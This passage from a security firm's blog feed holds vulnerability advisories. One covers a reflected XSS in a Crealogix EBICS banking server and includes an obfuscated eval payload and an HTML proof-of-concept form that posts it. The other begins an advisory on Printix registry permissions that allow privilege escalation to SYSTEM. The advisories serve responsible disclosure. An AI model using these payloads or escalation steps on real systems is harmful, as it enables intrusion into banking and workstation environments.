&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_50abc7b88ec848868e8be4403a8d39bd-1" name="rest_code_50abc7b88ec848868e8be4403a8d39bd-1" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_50abc7b88ec848868e8be4403a8d39bd-1"&gt;&lt;/a&gt; System.Exception: Unknown ebicsVersion '&amp;lt;a autofocus onfocus='a="e";a+="val(decodeURIComponent(location.hash.slice(1)))";b="cons";b+="tructor";true[b][b](a)()' href&amp;gt;'.
&lt;a id="rest_code_50abc7b88ec848868e8be4403a8d39bd-2" name="rest_code_50abc7b88ec848868e8be4403a8d39bd-2" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_50abc7b88ec848868e8be4403a8d39bd-2"&gt;&lt;/a&gt;at EBICSServer.EbicsNamespaces.GetEbicsXmlns(String ebicsVersion)
&lt;a id="rest_code_50abc7b88ec848868e8be4403a8d39bd-3" name="rest_code_50abc7b88ec848868e8be4403a8d39bd-3" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_50abc7b88ec848868e8be4403a8d39bd-3"&gt;&lt;/a&gt;at EBICSServer.EbicResponse..ctor(String ebicsVersion, String orderType, String partnerId)
&lt;a id="rest_code_50abc7b88ec848868e8be4403a8d39bd-4" name="rest_code_50abc7b88ec848868e8be4403a8d39bd-4" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_50abc7b88ec848868e8be4403a8d39bd-4"&gt;&lt;/a&gt;at EBICSServer.Ebics.Page_Load(Object sender, EventArgs e)
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In this example the attacker's payload can be put in the URLs hash part and be used to load arbitrary JavaScript.&lt;/p&gt;
&lt;p&gt;To exploit this issue in regular browsers, an attacker can host the following HTML on their website:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-1" name="rest_code_044c2ac0af8b4327be83f11651de4a95-1" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-1"&gt;&lt;/a&gt;&amp;lt;html&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-2" name="rest_code_044c2ac0af8b4327be83f11651de4a95-2" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-2"&gt;&lt;/a&gt;  &amp;lt;!-- PoC - generated by Burp Suite Professional --&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-3" name="rest_code_044c2ac0af8b4327be83f11651de4a95-3" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-3"&gt;&lt;/a&gt;  &amp;lt;body&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-4" name="rest_code_044c2ac0af8b4327be83f11651de4a95-4" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-4"&gt;&lt;/a&gt;  &amp;lt;script&amp;gt;history.pushState('', '', '/')&amp;lt;/script&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-5" name="rest_code_044c2ac0af8b4327be83f11651de4a95-5" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-5"&gt;&lt;/a&gt;    &amp;lt;form action="https://www.example.org/ebics-server/ebics.aspx#alert(123)" method="POST" enctype="text/plain"&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-6" name="rest_code_044c2ac0af8b4327be83f11651de4a95-6" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-6"&gt;&lt;/a&gt;      &amp;lt;input type="hidden" name="&amp;amp;lt;&amp;amp;#63;xml&amp;amp;#32;version" value="&amp;amp;quot;1&amp;amp;#46;0&amp;amp;quot;&amp;amp;#32;encoding&amp;amp;#61;&amp;amp;quot;utf&amp;amp;#45;8&amp;amp;quot;&amp;amp;#32;standalone&amp;amp;#61;&amp;amp;quot;no&amp;amp;quot;&amp;amp;#63;&amp;amp;gt;&amp;amp;#13;&amp;amp;#10;&amp;amp;lt;ebicsUnsecuredRequest&amp;amp;#32;xmlns&amp;amp;#61;&amp;amp;quot;urn&amp;amp;#58;org&amp;amp;#58;ebics&amp;amp;#58;H004&amp;amp;quot;&amp;amp;#32;Revision&amp;amp;#61;&amp;amp;quot;1&amp;amp;quot;&amp;amp;#32;Version&amp;amp;#61;&amp;amp;quot;&amp;amp;amp;lt&amp;amp;#59;a&amp;amp;#32;autofocus&amp;amp;#32;onfocus&amp;amp;#61;&amp;amp;apos;a&amp;amp;#61;&amp;amp;amp;quot&amp;amp;#59;e&amp;amp;amp;quot&amp;amp;#59;&amp;amp;#59;a&amp;amp;#43;&amp;amp;#61;&amp;amp;amp;quot&amp;amp;#59;val&amp;amp;#40;decodeURIComponent&amp;amp;#40;location&amp;amp;#46;hash&amp;amp;#46;slice&amp;amp;#40;1&amp;amp;#41;&amp;amp;#41;&amp;amp;#41;&amp;amp;amp;quot&amp;amp;#59;&amp;amp;#59;b&amp;amp;#61;&amp;amp;amp;quot&amp;amp;#59;cons&amp;amp;amp;quot&amp;amp;#59;&amp;amp;#59;b&amp;amp;#43;&amp;amp;#61;&amp;amp;amp;quot&amp;amp;#59;tructor&amp;amp;amp;quot&amp;amp;#59;&amp;amp;#59;true&amp;amp;#91;b&amp;amp;#93;&amp;amp;#91;b&amp;amp;#93;&amp;amp;#40;a&amp;amp;#41;&amp;amp;#40;&amp;amp;#41;&amp;amp;apos;&amp;amp;#32;href&amp;amp;amp;gt&amp;amp;#59;&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;header&amp;amp;#32;authenticate&amp;amp;#61;&amp;amp;quot;true&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;static&amp;amp;gt;&amp;amp;lt;HostID&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;HostID&amp;amp;gt;&amp;amp;lt;PartnerID&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;PartnerID&amp;amp;gt;&amp;amp;lt;UserID&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;UserID&amp;amp;gt;&amp;amp;lt;Product&amp;amp;#32;InstituteID&amp;amp;#61;&amp;amp;quot;XXX&amp;amp;quot;&amp;amp;#32;Language&amp;amp;#61;&amp;amp;quot;de&amp;amp;quot;&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;Product&amp;amp;gt;&amp;amp;lt;OrderDetails&amp;amp;gt;&amp;amp;lt;OrderType&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;OrderType&amp;amp;gt;&amp;amp;lt;OrderAttribute&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;OrderAttribute&amp;amp;gt;&amp;amp;lt;&amp;amp;#47;OrderDetails&amp;amp;gt;&amp;amp;lt;SecurityMedium&amp;amp;gt;0000&amp;amp;lt;&amp;amp;#47;SecurityMedium&amp;amp;gt;&amp;amp;lt;&amp;amp;#47;static&amp;amp;gt;&amp;amp;lt;mutable&amp;amp;#47;&amp;amp;gt;&amp;amp;lt;&amp;amp;#47;header&amp;amp;gt;&amp;amp;lt;body&amp;amp;gt;&amp;amp;lt;DataTransfer&amp;amp;gt;&amp;amp;lt;OrderData&amp;amp;gt;XXX&amp;amp;lt;&amp;amp;#47;OrderData&amp;amp;gt;&amp;amp;lt;&amp;amp;#47;DataTransfer&amp;amp;gt;&amp;amp;lt;&amp;amp;#47;body&amp;amp;gt;&amp;amp;lt;&amp;amp;#47;ebicsUnsecuredRequest&amp;amp;gt;" /&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-7" name="rest_code_044c2ac0af8b4327be83f11651de4a95-7" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-7"&gt;&lt;/a&gt;      &amp;lt;input type="submit" value="Submit request" /&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-8" name="rest_code_044c2ac0af8b4327be83f11651de4a95-8" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-8"&gt;&lt;/a&gt;    &amp;lt;/form&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-9" name="rest_code_044c2ac0af8b4327be83f11651de4a95-9" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-9"&gt;&lt;/a&gt;  &amp;lt;/body&amp;gt;
&lt;a id="rest_code_044c2ac0af8b4327be83f11651de4a95-10" name="rest_code_044c2ac0af8b4327be83f11651de4a95-10" href="https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/#rest_code_044c2ac0af8b4327be83f11651de4a95-10"&gt;&lt;/a&gt;&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If and how this could be exploited in EBICS clients was not analysed (see impact discussion).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;There are no special preconditions for exploitation except for the usual reflected XSS preconditions, mostly requiring user interaction. The preconditions vary greatly on the exploited scenario (see impact discussion).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends Crealogix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Change the responded &lt;cite&gt;Content-Type&lt;/cite&gt; to &lt;cite&gt;text/plain&lt;/cite&gt;. If this is feasible has to be evaluated and tested with different EBICS clients.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to prevent the server from replying with detailed error messages that are not part of the EBICS standard.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to use the correct context escaping depending on the context. If &lt;cite&gt;text/html&lt;/cite&gt; is used in the response, the user-supplied values could be HTML entity encoded.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Further investigate if the EBICS server should be redesigned to support browser-based EBICS clients. This would require further security measures such as adding HTTP security headers (HSTS, CSP, etc.).&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pentagrid recommends affected customers to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Update to version 7.1 and/or apply patches that were provided by Crealogix.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check the version in the request in the WAF and reject invalid versions in the WAF already. If you are using the OWASP Core Rule Set (CRS), there is an &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/issues/2847"&gt;open ticket to adjust WAF rules&lt;/a&gt; to detect this attack.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Prevent error messages being returned from the EBICS server to the client side by using a WAF rule.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The vulnerability has been found by Tobias Ospelt (Pentagrid).&lt;/p&gt;
&lt;p&gt;We would like to thank Crealogix for the professional handling of the security issue.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/reflected-xss-vulnerability-in-crealogix-ebics-implementation/</guid><pubDate>Mon, 10 Oct 2022 09:00:00 GMT</pubDate></item><item><title>Vulnerabilities in Printix Cloud Print Management</title><link>https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/202208_printix_code_exec.png"&gt;&lt;/figure&gt; &lt;p&gt;During a penetation test of a cloud environment, Pentagrid observed
vulnerabilities in the cloud printing solution developed by Printix.net ApS, a Kofax subsidiary.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;These vulnerabilities lead to an elevation of privileges to &lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt; and access to other user's printed documents.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2022-05-05: Initial contact of Printix team via E-mail to &lt;a class="reference external" href="mailto:info@printix.net"&gt;info@printix.net&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-12: Sent reminder via Twitter to @printixnet and @Kofax.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-19: Notified a founder and the CEO via E-mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-20: Printix replied that the &lt;a class="reference external" href="mailto:info@printix.net"&gt;info@printix.net&lt;/a&gt; is not monitored for security and that the E-mail was initially deleted.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-20: Pentagrid recommends following RFC 9116. Out of courtesy the 14 days feedback limit is extended to 24 May EOD to provide feedback, which steps are planned and when this will happen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-22: Printix replies they plan to solve the problems as soon as possible and mentions a start in the week of 2022-05-30.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-23: Pentagrid communicates disclosure deadline 2022-08-03 and asks for a detailed plan (fixes, release of updates, estimates on how many customers have a patched state on 2022-08-03).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-05-31: Printix replies with a fix prioritization, which changes are planned, and that a rollout is planned for July.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-01: Pentagrid asked for a status.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-02: Printix confirmed that they adressed issues according to their plan with release 1.3.1169, which is in testing stage and that Printix needs 2-3 weeks for public deployment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-11: Pentagrid postponed publication until 2022-08-18.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-18: CVE-2022-35167 was assigned to one of the issues.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-08-18: Advisory published.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been observed in the Printix client version 1.3.1149.0 for Windows and the corresponding cloud portal at the time of discovery.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="vulnerabilities"&gt;
&lt;h2&gt;Vulnerabilities&lt;/h2&gt;
&lt;section id="printix-registry-keys-not-read-write-protected-cve-2022-35167"&gt;
&lt;h3&gt;1. Printix registry keys not read/write protected (CVE-2022-35167)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 7.8 High&lt;/pre&gt;
&lt;p&gt;After installing Printix on Windows, Registry keys belonging to each user are accessible to all other users on the system and can be modified.&lt;/p&gt;
&lt;section id="impact-1"&gt;
&lt;h4&gt;Impact&lt;/h4&gt;
&lt;p&gt;An attacker is able to read tokens of other users and can change program parameters,
such as dependent libraries, external binary dependencies or the uninstallation
script that gets executed when the application is removed from the system.
Ultimately, tampering with the configuration of Printix in the registry can lead to an elevation of privileges.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h4&gt;Technical Details&lt;/h4&gt;
&lt;p&gt;The Printix software is running as a background service and a client application, which,
on Windows systems, is reading its configuration values from registry keys at
&lt;code class="docutils literal"&gt;HKLM/SOFTWARE/printix.net/Printix Client/CurrentVersion&lt;/code&gt;.
Every user has their own subkey within this registry key.&lt;/p&gt;
&lt;p&gt;Every regular user can read the Printix registry keys of other users that were logged in
to the same computer at least once.
One of the entries within the key is an access token.
Other global entries within the printix.net registry key include the paths of
certain third-party libraries and binaries the application relies on.
An attacker could overwrite the paths and let them point to their own,
malicious libraries, which consequently might be loaded by the application.&lt;/p&gt;
&lt;section id="weak-registry-key-permissions-enable-privilege-escalation"&gt;
&lt;h5&gt;1.1 Weak registry key permissions enable privilege escalation&lt;/h5&gt;
&lt;p&gt;A clean installation of the Printix client was done to analyse the default configuration as shipped by the developers.
This revealed that a privilege escalation is possible by changing the registry keys ProgramDir and DataDir.&lt;/p&gt;
&lt;p&gt;After installation they initially both point to a write-protected location within the &lt;code class="docutils literal"&gt;Program Files&lt;/code&gt; directory.
As the keys are write-accessible by regular users, it is possible to change them, for example to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\temp&lt;/span&gt;&lt;/code&gt;.
After doing this, and restarting the Printix service, new configuration files are created by the service in that directory.
One of the new files is called &lt;code class="docutils literal"&gt;PrintixServiceTask.xml&lt;/code&gt;, which is a Microsoft Task definition, describing the Printix service running on the machine.
After changing the paths to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\temp&lt;/span&gt;&lt;/code&gt; the file is also read from this location, and as the new directory is not write-protected, the file can also be modified by any regular user.&lt;/p&gt;
&lt;p&gt;One part of the XML file is the command that will be run by Windows to start the service as shown in the following listing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;C:\temp\PrintixServiceTask.xml&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-1" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-1" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-1"&gt;&lt;/a&gt;&amp;lt;?xml version="1.0" encoding="UTF-16"?&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-2" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-2" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-2"&gt;&lt;/a&gt;&amp;lt;Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-3" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-3" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-3"&gt;&lt;/a&gt;    &amp;lt;RegistrationInfo&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-4" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-4" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-4"&gt;&lt;/a&gt;        &amp;lt;Date&amp;gt;2017-09-21T13:43:01&amp;lt;/Date&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-5" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-5" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-5"&gt;&lt;/a&gt;        &amp;lt;Author&amp;gt;Printix&amp;lt;/Author&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-6" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-6" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-6"&gt;&lt;/a&gt;        &amp;lt;URI&amp;gt;\Printix Service&amp;lt;/URI&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-7" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-7" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-7"&gt;&lt;/a&gt;    &amp;lt;/RegistrationInfo&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-8" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-8" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-8"&gt;&lt;/a&gt;    &amp;lt;Triggers&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-9" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-9" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-9"&gt;&lt;/a&gt;        &amp;lt;EventTrigger&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-10" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-10" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-10"&gt;&lt;/a&gt;        &amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-11" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-11" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-11"&gt;&lt;/a&gt;        &amp;lt;Subscription&amp;gt;&amp;amp;lt;QueryList&amp;amp;gt;&amp;amp;lt;Query Id="0" Path="Application"&amp;amp;gt;&amp;amp;lt;Select Path="Application"&amp;amp;gt;*[System[Provider[@Name='PrintixClient'] and EventID=249]]&amp;amp;lt;/Select&amp;amp;gt;&amp;amp;lt;/Query&amp;amp;gt;&amp;amp;lt;/QueryList&amp;amp;gt;&amp;lt;/Subscription&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-12" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-12" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-12"&gt;&lt;/a&gt;        &amp;lt;/EventTrigger&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-13" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-13" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-13"&gt;&lt;/a&gt;    &amp;lt;/Triggers&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-14" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-14" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-14"&gt;&lt;/a&gt;    &amp;lt;Principals&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-15" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-15" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-15"&gt;&lt;/a&gt;        &amp;lt;Principal id="Author"&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-16" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-16" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-16"&gt;&lt;/a&gt;            &amp;lt;UserId&amp;gt;S-1-5-18&amp;lt;/UserId&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-17" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-17" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-17"&gt;&lt;/a&gt;            &amp;lt;RunLevel&amp;gt;LeastPrivilege&amp;lt;/RunLevel&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-18" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-18" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-18"&gt;&lt;/a&gt;        &amp;lt;/Principal&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-19" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-19" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-19"&gt;&lt;/a&gt;    &amp;lt;/Principals&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-20" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-20" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-20"&gt;&lt;/a&gt;    &amp;lt;Settings&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-21" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-21" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-21"&gt;&lt;/a&gt;        &amp;lt;MultipleInstancesPolicy&amp;gt;IgnoreNew&amp;lt;/MultipleInstancesPolicy&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-22" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-22" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-22"&gt;&lt;/a&gt;        &amp;lt;DisallowStartIfOnBatteries&amp;gt;false&amp;lt;/DisallowStartIfOnBatteries&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-23" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-23" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-23"&gt;&lt;/a&gt;        &amp;lt;StopIfGoingOnBatteries&amp;gt;true&amp;lt;/StopIfGoingOnBatteries&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-24" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-24" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-24"&gt;&lt;/a&gt;        &amp;lt;AllowHardTerminate&amp;gt;true&amp;lt;/AllowHardTerminate&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-25" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-25" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-25"&gt;&lt;/a&gt;        &amp;lt;StartWhenAvailable&amp;gt;false&amp;lt;/StartWhenAvailable&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-26" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-26" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-26"&gt;&lt;/a&gt;        &amp;lt;RunOnlyIfNetworkAvailable&amp;gt;false&amp;lt;/RunOnlyIfNetworkAvailable&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-27" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-27" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-27"&gt;&lt;/a&gt;        &amp;lt;IdleSettings&amp;gt;
&lt;a id="rest_code_ce70cadd3fa4487993b1081666a9c8bf-28" name="rest_code_ce70cadd3fa4487993b1081666a9c8bf-28" href="https://www.pentagrid.ch/de/blog/vulnerabilities-in-printix-cloud-print-management/#rest_code_ce70cadd3fa4487993b1081666a9c8bf-28"&gt;&lt;/a&gt;            &amp;lt;StopOnIdleEnd&amp;gt;true&amp;lt;/StopOnIdleEnd&amp;gt;
